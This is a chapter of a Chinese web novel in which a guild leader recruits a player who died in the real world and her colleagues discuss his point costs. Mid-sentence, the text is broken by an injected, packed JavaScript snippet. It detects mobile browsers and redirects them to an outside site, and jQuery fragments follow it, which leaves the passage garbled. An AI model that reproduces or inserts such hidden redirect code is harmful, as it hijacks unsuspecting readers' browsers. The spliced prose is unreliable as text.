张灵缘边走边把幸运儿的事草草说了说，电话那头没插话，在她说完后“嗯”了一声，转而问道：“你刚跟喜鹊喝完酒？”


    “没多喝，不影响大脑使用。”


    专用电梯缓缓上升，朝着顶层而去。


    电话那边人不满道：“你知道我要说的不是这个——”


    “她拿不走我的命，”张灵缘说，“你最清楚不过。”


    电话那头的人沉默两秒，重新开口，硬生生把自己要说的说完了：“——还是说，你真想让她把你了结了？”


    张灵缘轻轻垂下眼皮，语气没什么变化：“怎么可能？先不说喜鹊做不做得到，我看上去有这么不惜命吗？”


    电梯门缓缓打开，耳边的声音与面前的声音重合：“你最好有自己的分寸。”


    张灵缘笑眯眯地看着立在电梯门口的少女：“好的。”


    苗桂干脆利落地挂断电话，示意张灵缘跟上，赶时间般迅速道：“你要的人已经在会客室了，另外那个中年人安排进救助部后回家了。乔顾君想找你，我让她先回去休息，你要是想找她的话最好等明天。公会获得参赛资格的人我已经让人去统计了，今晚十点前能出结果。你明天要开什么会？对了——你们首席会的十个人都会参赛，百席团则有百分之九十的人参赛，名单我马上发你……”


    “另外，在第一场比赛前，你需要分发公共仓库道具，我推荐你在三天之内完成，顺便把明年要提供给其他公会的道具也整理出来。前两个月你下本刷道具的事情即使没有广而告之，别人也不是傻子，给点好处，省得麻烦。”


    苗桂雷厉风行地安排完，刚好到会客室门口，全程只给了张灵缘小鸡啄米式点头的权利。


    苗桂在三步远处，微微抬眼看着她：“至于我哥，他的资格赛也很顺利，现在人正在医疗区帮忙，有不少人在资格赛里受伤，他要劝说他们弃赛的——你的人在里面等了半天，打算怎么处理？我先说我的意见，杀了，以绝后患。”


    张灵缘哂笑一声，低声说：“先放身边盯着，我记得我房间旁边还有一个空房间，本来是给顾君留的，她住不惯，后来空出来了。”


    “我叫人安排。”苗桂毫不意外张灵缘不采用她的建议，只点头。


    张灵缘压下门把手，示意苗桂跟上。


    屋内，郑玉峰听见响声后起身，张灵缘伸手一压，示意他坐。


    “别局促，”张灵缘坐到他对面，看到桌上的文件，知道苗桂已经把条件列好，“考虑得如何？”


    郑玉峰不清楚局内合同的效力，更不知道这份合同究竟算不算宽松，只能凭着感觉斟酌。


    他犹豫道：“我跟老胡的待遇不一样，为什么？我并不觉得我有什么值得您上心的。”


    “能提供的价值不同。既然你问了，我也并不瞒着你。你很特殊，是据我所知唯一一位在现实世界死亡的玩家，我需要你的相关数据——合同里应该有，你的特殊待遇要建立在知无不言的条件上。如果有其他人接触你，你也需要上报。”


    “……相当于我将失去人身自由，完全被监视？”


    张灵缘扬眉，奇道：“你怎么这么想？倒不至于做到那个地步，除了这两点，你跟主楼c级会员享有同等待遇。”


    苗桂在一旁冷冷观察着二人表情，补充道：“相当于现实中你入职就是项目经理，更何况公会的待遇可比现实的公司好得多。你身份特殊，上报其他人的接触也是保障你的生命安全。”


    郑玉峰显然没有意识到自己的身份哪里特殊。


    苗桂微微拧眉，给他解释：“系统既然邀请你来，一定时间后，必然会派遣神管局的人与你接触，没人喜欢实验体自由活动。”


    张灵缘听到这话微微一顿，不知道想到什么，显得有些心不在焉，而郑玉峰则因为这句解释，警铃大作，微微后仰，对苗桂产生明显的防御心。


    “神管局？”


    “直属主神的官方组织。员工穿着统一的白色工作制服，又叫白衣使徒，为主神效力。”


    后续的谈话都是苗桂在完成。


    在副本里，出于不知道什么原因，为了活命或是攀上机会，郑玉峰对加入公会显得迫不及待，连“会长”都叫上了，一出来后，郑玉峰反倒对天上掉馅饼的事谨慎不少，问东问西，对合同内容表示出极高的警惕，态度来了个一百八十度转弯。


    张灵缘神游天外，回神时催促道：“问的差不多就做决定吧，挺晚了，我还想吃个晚饭呢。”


    “不好意思，”郑玉峰抱歉笑笑，“我还需要在这思考一会儿，可以不用等我。对了，有笔吗？怎么签字？”


    “不用笔，”张灵缘点点旁边的不明红色物体，长得像个印章，“用那个往指尖一扎，盖章生效。”


    郑玉峰拿起章打量一圈，略显笨拙地打开又关上，完成这项操作后，他似乎恢复了本来的彬彬有礼，防御用的硬壳裹着人：“我还可以思考多久？”


    张灵缘意识到什么，低声嘱咐苗桂先走。苗桂也刚从副本出来，又不是铁人，耐着性子陪她，还平白造人警惕，张灵缘心疼自家智脑，好声好气把人哄走，关门，重新看向郑玉峰，刚要沉脸，就见郑玉峰犹豫着摁下染了血的印章，不算明显的弯弯眼，把合同推到对面。


    郑玉峰：“我选择相信您，希望我的选择是对的。”


    这个举动一下让张灵缘泄了火，是了，郑玉峰初来乍到，刚送过命，又莫名其妙被卷进所谓副本当中，尸体怪物疯子见了一串，还险些沦为营养物死在那。


    易地而处，张灵缘是绝不可能信任一个拥有绝对实力，五年前只见过一面，光信息差就够她死八百遍还要她签入会合同的所谓“圣人”的。


    张灵缘拿过合同，检查，点头：“房间2507，记着把公会群加了，大多数信息里面都有，不明白的来我办公室找我，如果我不在，你可以给我发消息打电话。”


    语毕，她拿出手机操作一通，语气平静：“加我好友，局内操作系统和常用软件跟现实几乎没什么区别，照着仿的，你应该会用。”


    “哦，好的。”


    郑玉峰慌乱地操作一通，张灵缘没急，就这么看着他，顺带又跑了个神。


    实在看不出来郑玉峰除了脸外，有什么特别的。总不能黄苍想让这人色诱自己吧？除非黄苍不小心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862486|176105||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把脑子丢了，否则她应该想不出这种操作。


    刚想到这，张灵缘手里手机震动，郑玉峰加上了，头像还没改，一个默认头像。


    “您现在急着吃饭吗？”


    张灵缘刚想走人，就听见郑玉峰这样问。


    郑玉峰说：“我的意思是，我还有个事想说，您赶时间的话……”


    “不赶。”张灵缘递给郑玉峰一瓶水，说：“要说什么？”


    郑玉峰微微低头，碎发挡住脸，张灵缘看不清他的表情，只能听见他山泉似的声音。


    “我能信任您吗？”


    “你的意思是，郑玉峰——是叫这个吧？他虽然死而复生，但存活时间需要用黑积分兑换，一分钟两积分，一天两千八百八十，而他现在手里的积分只够他活半个月的。”办公室内，苗桂坐在自己的工位上，颇显头疼的听完张灵缘的话，简单总结完，继续道：“所以呢？他不是还能活一个月吗？急什么。”


    “不仅如此，”张灵缘拍拍桌子，“他是受邀来参加大赛的，拿了邀请函后系统已经自动把他的入场名额锁定了，无法退赛，我需要给他基本培训，不然他这样的进副本跟找死没区别。”


    办公室很大，因为她们这些领导层的人平时都不长待，当初设计的时候干脆没有设立单间，所有人都在一块。考虑到方便摸鱼，张灵缘还贴心地给每个人都工位都搞了个半包围不透明玻璃。


    正式使用后果不其然，办公室常驻人口一共超不过四个，也算是节省不少资金。


    苗桂：“真的不能弄死以绝后患吗？”


    张灵缘：“原则上不能。”


    苗桂：“好吧。”语气有些遗憾。


    此时办公室就三个人，张灵缘、苗桂和没有参加大赛只好驻留办公室守班的小白。


    小白全名王珂白，去年图方便理了个短寸，现在脑袋已经是个毛茸茸的炸型毛胆，张灵缘试过，手感很好。此人平生爱好炸鸡可乐打游戏，脸蛋圆滚滚的，是技术部的栋梁之才。


    正所谓后勤不上战场，小白完全没有任何下本拼命的想法，惜命。


    此时此刻，小白幽幽地看着电脑，对张灵缘刚找来的赔钱货表示：“他是专门来架空咱们钱包的吗？”


    张灵缘认为这个想法比她觉得黄苍让郑玉峰色诱她靠谱，随即嗅嗅鼻子，屋内一股极其诱人的炸鸡味道悄然而至，她赶在小白前冲到门前，接过送来的大套餐，高高举起，仗着身高优势与后来的小白打成一团，后者气急败坏，怒喊“还来”。


    “不还！”张灵缘抢走一个桶，嬉笑着抱着自己的战利品溜回工位，徒留小白心疼自己的半份休闲食品。


    “呵呵，我本来还想告诉你怎么钻系统冻结积分的漏，现在，我反悔了！”小白大口咬下炸鸡腿，含糊不清地说道：“除非还我可乐。”


    张灵缘闻言一个急刹车，能屈能伸：“好的好的，给您。”


    小白笑纳后，飞快道：“持有者的邀请函转让给别人后自动解除积分冻结，你找个不参赛的靠谱人士，把手下的可动资金转让，让他当移动金库就行……你看我干什么？等等，不是吧！要让我当工具人吗？”